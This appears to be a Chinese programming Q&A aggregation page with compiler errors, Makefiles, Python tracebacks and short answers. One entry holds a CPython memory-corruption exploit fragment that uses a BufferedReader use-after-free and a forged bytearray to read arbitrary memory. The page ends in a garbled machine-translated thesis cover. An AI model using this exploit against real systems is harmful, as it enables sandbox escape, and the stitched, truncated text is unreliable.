.\objs\WM_W600.axf: Error: L6406E: No space in execution regions with .ANY selector matching tls_rf_tx_iq.o(.data).

时间: 2023-11-13 07:36:59 浏览: 94
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【嵌入式学习】Keil5 链接报错： No space in execution regions with .ANY selector 解决方案

star5星 · 资源好评率100%
这个错误通常是由于代码或数据段过大，导致没有足够的空间放置它们。你可以尝试优化代码或数据，或者重新分配内存空间以解决这个问题。 具体来说，你可以通过以下方法解决这个问题： 1. 检查你的代码和数据段是否有冗余或重复的部分，尝试优化它们以减少代码和数据的大小。 2. 调整链接脚本以增加可用的内存空间。你可以为代码和数据段分配更多的内存空间，或者将它们放置到不同的内存区域中。 3. 如果你的设备支持外部存储器，你可以将一些数据存储到外部存储器中，以减少内存使用量。 4. 如果你使用的是RTOS系统，你可以尝试调整任务堆栈大小以释放一些内存空间。 希望这些方法能够帮助你解决这个问题。
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if len(lidar_unknown_objs_final_left_front) > 0: for j in range(len(lidar_unknown_objs_final_left_front)): if lidar_unknown_objs_final_left_front[j]["s"] < lidar_unknown_objs_final_left_front_dis: lidar_unknown_objs_final_left_front_dis = lidar_unknown_objs_final_left_front[j]["s"] lidar_unknown_objs_final_left_front_veh = lidar_unknown_objs_final_left_front[j] if 45 > lidar_unknown_objs_final_left_front_veh["s"] >25: lat_lon_WIDC = [lidar_unknown_objs_final_left_front_veh['Lat'], lidar_unknown_objs_final_left_front_veh['Lon']] cone_pub_WIDC.publish(json.dumps(lat_lon_WIDC)) else: lidar_unknown_objs_final_left_front_veh = None解释一下

这段代码主要是用于检测左前方是否存在未知物体。首先判断从激光雷达获取的未知物体列表是否有物体存在。...如果不存在未知物体，则将变量 lidar_unknown_objs_final_left_front_veh 赋值为 None。

admin@DESKTOP-D29TBDD MINGW64 ~/Desktop/windows-paho c-c++/build-c++-gcc $ mingw32-make.exe [ 6%] Building CXX object src/CMakeFiles/paho-cpp-objs.dir/async_client.cpp.obj In file included from C:\Users\admin\Desktop\windows-paho c-c++\paho.mqtt.cpp-master\src\mqtt/async_client.h:30, from C:\Users\admin\Desktop\windows-paho c-c++\paho.mqtt.cpp-master\src\async_client.cpp:20: C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:73:37: error: 'mutex' is not a member of 'std' using guard = std::lock_guard<std::mutex>; ^~~~~ C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:73:37: note: 'std::mutex' is defined in header '<mutex>'; did you forget to '#include <mutex>'? C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:40:1: +#include <mutex> #include <chrono> C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:73:37: using guard = std::lock_guard<std::mutex>; ^~~~~ C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:73:37: error: 'mutex' is not a member of 'std' C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:73:37: note: 'std::mutex' is defined in header '<mutex>'; did you forget to '#include <mutex>'? C:/Users/admin/Desktop/WINDOW~1/PAHOMQ~1.CPP/src/mqtt/token.h:73:42: error: template argument 1 is invalid

这个错误是由于在使用std::mutex之前没有包含<mutex>头文件导致的。你需要在token.h文件中添加#include <mutex>来解决这个问题。请尝试在token.h文件的开头添加以下代码： cpp #include ...

CUR_SOURCE=${wildcard *.c} CUR_OBJS=${patsubst %.c, %.o, $(CUR_SOURCE)} $(warning $(CUR_SOURCE)) all:$(SUBDIRS) $(CUR_OBJS) DEBUG $(SUBDIRS):ECHO make -C $@ DEBUG:ECHO $(AR) crv libbsp.a $(ROOT_DIR)/$(OBJS_DIR)/*.o cp $(ROOT_DIR)/libbsp.a $(ROOT_DIR)/$(BIN_DIR)/ cp $(ROOT_DIR)/libbsp.a ../workspace/obj/ ECHO: @echo $(SUBDIRS)

其中，CUR_SOURCE 和 CUR_OBJS 变量分别用于获取当前目录下的所有 .c 文件和转换为对应的 .o 文件；$(SUBDIRS) 变量用于指定需要编译链接的子目录；DEBUG 目标用于生成静态库文件 libbsp.a，并将其复制到指定目录中...

class File(io._RawIOBase): def readinto(self, buf): global view view = buf def readable(self): return True class Exploit: def _create_fake_byte_array(self, addr, size): byte_array_obj = flat( p64(10), # refcount p64(id(bytearray)), # type obj p64(size), # ob_size p64(size), # ob_alloc p64(addr), # ob_bytes p64(addr), # ob_start p64(0x0), # ob_exports ) self.no_gc.append(byte_array_obj) # stop gc from freeing after return self.freed_buffer[0] = id(byte_array_obj) + 32 def leak(self, addr, length): self._create_fake_byte_array(addr, length) return self.fake_objs[0][0:length] def __init__(self): # Trigger bug global view f = io.BufferedReader(File()) f.read(1) del f view = view.cast('P') self.fake_objs = [None] * len(view) self.freed_buffer = view self.no_gc = [] def print_hex(data): print(hex(data))

然后将全局变量 view 转化为指针数组，创建 fake_objs 和 freed_buffer 两个实例变量，分别用于保存伪造对象和释放的内存块，最后创建 no_gc 列表用于防止垃圾回收机制在函数返回后释放对象。 - print_hex...

c++ 代码实现将下图代码的obj.seg渲染在image上 cv::Mat image = cv::imread("inference/yq.jpg"); auto yolo = yolo::load("/home/zhangyu/tensorrt_code/test/1.18-integrate-full-yolov5/workspace/last.transd.trtmodel", yolo::Type::V8Seg); if (yolo == nullptr) return; auto objs = yolo->forward(cvimg(image)); int i = 0; for (auto &obj : objs) { uint8_t b, g, r; tie(b, g, r) = yolo::random_color(obj.class_label); cv::rectangle(image, cv::Point(obj.left, obj.top), cv::Point(obj.right, obj.bottom), cv::Scalar(b, g, r), 5); auto name = cocolabels[obj.class_label]; auto caption = cv::format("%s %.2f", name, obj.confidence); int width = cv::getTextSize(caption, 0, 1, 2, nullptr).width + 10; cv::rectangle(image, cv::Point(obj.left - 3, obj.top - 33), cv::Point(obj.left + width, obj.top), cv::Scalar(b, g, r), -1); cv::putText(image, caption, cv::Point(obj.left, obj.top - 5), 0, 1, cv::Scalar::all(0), 2, 16); if (obj.seg) { // cv::imwrite(cv::format("%d_mask.jpg", i), // cv::Mat(obj.seg->height, obj.seg->width, CV_8U, obj.seg->data)); i++; } } printf("Save result to Result.jpg, %d objects\n", (int)objs.size()); cv::imwrite("Result.jpg", image); }

auto objs = yolo->forward(cvimg(originalImage)); // Render the segmentation on the original image for (auto &obj : objs) { uint8_t b, g, r; tie(b, g, r) = yolo::random_color(obj.class_label); ...

ValueError: Invalid property specified for object of type plotly.graph_objs.layout.Legend: 'fontsize' Did you mean "font"?

This error message suggests that you have specified an invalid property name for the Legend object in your Plotly graph. Specifically, it seems that you have used the property name fontsize, which...

all:$(SUBDIRS) $(CUR_OBJS) DEBUG $(SUBDIRS):ECHO make -C $@ DEBUG:ECHO $(AR) crv libbsp.a $(ROOT_DIR)/$(OBJS_DIR)/*.o cp $(ROOT_DIR)/libbsp.a $(ROOT_DIR)/$(BIN_DIR)/ cp $(ROOT_DIR)/libbsp.a ../workspace/obj/ ECHO: @echo $(SUBDIRS)

这是一个 Makefile 文件的规则，该规则定义了一个名为 all 的目标，该目标依赖于变量 SUBDIRS、CUR_OBJS 和 DEBUG，同时定义了三个动作。 第一个动作是 $(SUBDIRS)，该动作会依次进入 SUBDIRS 中指定的每个目录...

D:\Code\pc_v3\src\modules\m5_pcr\module5_datapool.cpp:115: error: cannot dynamic_cast 'objs->QHash<QString, TInterfaceBase*>::value(QString(((const char*)"Gpio_EightTubeStripsWeigh")))' (of type 'class TInterfaceBase*') to type 'class TMultiAnalogIOInterface*' (target is not pointer or reference to complete type) ..\src\modules\m5_pcr\module5_datapool.cpp:115:108: error: cannot dynamic_cast 'objs->QHash<QString, TInterfaceBase*>::value(QString(((const char*)"Gpio_EightTubeStripsWeigh")))' (of type 'class TInterfaceBase*') to type 'class TMultiAnalogIOInterface*' (target is not pointer or reference to complete type) m_pMultiAnalogIO = dynamic_cast<TMultiAnalogIOInterface *>(objs->value("Gpio_EightTubeStripsWeigh")); ^

这是一个编译错误，出现在文件路径为 D:\Code\pc_v3\src\modules\m5_pcr\module5_datapool.cpp 的第115行。错误信息显示动态转换（dynamic_cast）失败，将 QHash, TInterfaceBase*>::value(QString(((const char*)...

CC = gcc SUBDIRS = f1 \ f2 \ main \ obj OBJS = f1.o f2.o main.o BIN = myapp OBJS_DIR = obj BIN_DIR = bin export CC OBJS BIN OBJS_DIR BIN_DIR all : CHECK_DIR $(SUBDIRS) CHECK_DIR : mkdir -p $(BIN_DIR) $(SUBDIRS) : ECHO make -C $@ ECHO: @echo $(SUBDIRS) @echo begin compile CLEAN : @$(RM) $(OBJS_DIR)/*.o @rm -rf $(BIN_DIR)

SUBDIRS 变量定义了需要编译的子目录，OBJS 变量定义了需要编译的目标文件。BIN 变量定义了最终的可执行文件名，OBJS_DIR 和 BIN_DIR 分别指定了目标文件和可执行文件的输出目录。all 目标是默认目标，用于编译全部...

解析makefile文件：CC = gcc PROG = sensor_server OBJS = sensor_utils.o sensor_protocol.o sensor_platform.o sensor_command.o mq_rabbit.o cJSON.o CLIB = ../common/libcommon.a INCLUDES = -I../common -I/usr/include/ CLINK = -lpthread -lz -liniparser -lrabbitmq -lm CFLAGS = -Wall -O2 all: $(PROG) $(PROG): %: %.c $(OBJS) $(CLIB) $(CC) -o $@ $@.c $(OBJS) $(CLIB) $(INCLUDES) $(CLINK) $(CFLAGS) $(OBJS): %.o : %.c %.h $(CC) -c $< $(INCLUDES) $(CFLAGS) .PHONY : install clean install: #cp -f $(PROG) /usr/local/bin/ clean: rm -f $(PROG) *.o *core

- OBJS = sensor_utils.o sensor_protocol.o sensor_platform.o sensor_command.o mq_rabbit.o cJSON.o：定义了变量 OBJS，指定了需要编译的目标文件列表。 - CLIB = ../common/libcommon.a：定义了变量 C...

include ../Makefile.param SMP_SRCS += $(wildcard $(PWD)/*.c) SMP_INC := -I$(PWD)/ TARGET := sample_ax TARGET_PATH := $(PWD) # target source OBJS := $(SMP_SRCS:%.c=%.o) CFLAGS += $(COMM_INC) .PHONY : clean all all: $(TARGET) %.o: %.c @$(CC) $(CFLAGS) -c $^ -o $@ $(TARGET):$(COMM_OBJ) $(OBJS) @$(CC) $(CFLAGS) -lpthread -lm -o $(TARGET_PATH)/$@ $^ -Wl,--start-group $(SENSOR_LIBS) $(MI_LIBS) -Wl,--end-group clean: @rm -f $(TARGET_PATH)/$(TARGET) @rm -f $(OBJS) @rm -f $(COMM_OBJ)

$(CFLAGS)是编译选项，$(COMM_INC)是包含的头文件路径。-lpthread和-lm用于链接线程库和数学库。 在生成目标文件之前，需要先生成$(COMM_OBJ)（该变量未在代码中定义），并将其与$(OBJS)一起链接成最终的目标文件$...

Traceback (most recent call last): File "D:\pythonProject\face\verifyapi.py", line 17, in <module> print(verify(r'static/picture/11.jpg',r'static/temp/11.jpg')) File "D:\pythonProject\face\verifyapi.py", line 7, in verify result = DeepFace.verify(img1_path=img1_path, img2_path=img2_path, enforce_detection=False, model=net, File "D:\pythonProject\face\deepface\DeepFace.py", line 153, in verify img1_objs = functions.extract_faces( File "D:\pythonProject\face\deepface\commons\functions.py", line 201, in extract_faces face_alignment = FaceAlignment(LandmarksType._2D, flip_input=False, device='cuda') File "D:\anaconda3\lib\enum.py", line 429, in __getattr__ raise AttributeError(name) from None AttributeError: _2D 什么意思，怎么解决

这个错误提示是因为在调用 FaceAlignment 函数时，传入了一个不支持的参数值 '_2D'。这个参数应该是一个枚举类型，表示使用的人脸关键点检测算法，但是当前传入的值不正确。 解决方法是检查传入的参数值是否正确，...

帮我讲解一下下面这些代码 CROSS_COMPILE ?= arm-linux-gnueabihf- TARGET ?= ledc CC := $(CROSS_COMPILE)gcc LD := $(CROSS_COMPILE)ld OBJCOPY := $(CROSS_COMPILE)objcopy OBJDUMP := $(CROSS_COMPILE)objdump INCDIRS := imx6u \ bsp/clk \ bsp/led \ bsp/delay SRCDIRS := project \ bsp/clk \ bsp/led \ bsp/delay INCLUDE := $(patsubst %, -I %, $(INCDIRS)) SFILES := $(foreach dir, $(SRCDIRS), $(wildcard $(dir)/*.S)) CFILES := $(foreach dir, $(SRCDIRS), $(wildcard $(dir)/*.c)) SFILENDIR := $(notdir $(SFILES)) CFILENDIR := $(notdir $(CFILES)) SOBJS := $(patsubst %, obj/%, $(SFILENDIR:.S=.o)) COBJS := $(patsubst %, obj/%, $(CFILENDIR:.c=.o)) OBJS := $(SOBJS) $(COBJS) VPATH := $(SRCDIRS) .PHONY: clean $(TARGET).bin : $(OBJS) $(LD) -Timx6u.lds -o $(TARGET).elf $^ $(OBJCOPY) -O binary -S $(TARGET).elf $@ $(OBJDUMP) -D -m arm $(TARGET).elf > $(TARGET).dis $(SOBJS) : obj/%.o : %.S $(CC) -Wall -nostdlib -c -O2 $(INCLUDE) -o $@ $< $(COBJS) : obj/%.o : %.c $(CC) -Wall -nostdlib -c -O2 $(INCLUDE) -o $@ $< clean: rm -rf $(TARGET).elf $(TARGET).dis $(TARGET).bin $(COBJS) $(SOBJS)

- OBJS：所有对象文件列表。 - VPATH：源文件搜索路径。 Makefile中的规则： - $(TARGET).bin：目标文件规则，依赖于所有的对象文件。 - $(LD)：链接器命令，链接所有的对象文件生成ELF文件。 - $(OBJCOPY)：目标...

注释代码：def get_list(request): # 列表 body = request.json pagesize = body.get("pagesize", 10) page = body.get("page", 1) orderby = body.get("orderby", "-id") notin = ["pagesize", "page", "total", "orderby"] query = { k: v for k, v in body.items() if k not in notin and (v != "" and v is not None) } q = Q(**query) objs = Rental.objects.filter(q).order_by(orderby) paginator = Paginator(objs, pagesize) pg = paginator.page(page) result = to_dict(pg.object_list) return JsonResponse( { "total": paginator.count, "result": result, } ) def get_detail(request): # 详情 body = request.json id = body.get("id") o = Rental.objects.get(pk=id) his = History.objects.filter(userId=request.user.id).order_by("-createTime").first() if not (his and his.rentalId == o.id): History(userId=request.user.id, rentalId=o.id).save() return JsonResponse(to_dict([o])[0])

这段代码是一个 Django 的视图函数，包含两个函数：get_list 和 get_detail。 ...首先从请求的 JSON 数据中获取 pagesize、page 和 orderby 参数，如果这些参数没有传入则使用默认值。然后从请求的 JSON ...
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关系数据卢多维奇·多斯桑托斯引用此版本：卢多维奇·多斯桑托斯。关系数据的表示学习机器学习[cs.LG]。皮埃尔和玛丽·居里大学-巴黎第六大学，2017年。英语。NNT：2017PA066480。电话：01803188HAL ID：电话：01803188https://theses.hal.science/tel-01803188提交日期：2018年HAL是一个多学科的开放存取档案馆，用于存放和传播科学研究论文，无论它们是否被公开。论文可以来自法国或国外的教学和研究机构，也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaireUNIVERSITY PIERRE和 MARIE CURIE计算机科学、电信和电子学博士学院（巴黎）巴黎6号计算机科学实验室D八角形T HESIS关系数据表示学习作者：Ludovic DOS SAntos主管：Patrick GALLINARI联合主管：本杰明·P·伊沃瓦斯基为满足计算机科学博士学位的要求而提交的论文评审团成员：先生蒂埃里·A·退休记者先生尤尼斯·B·恩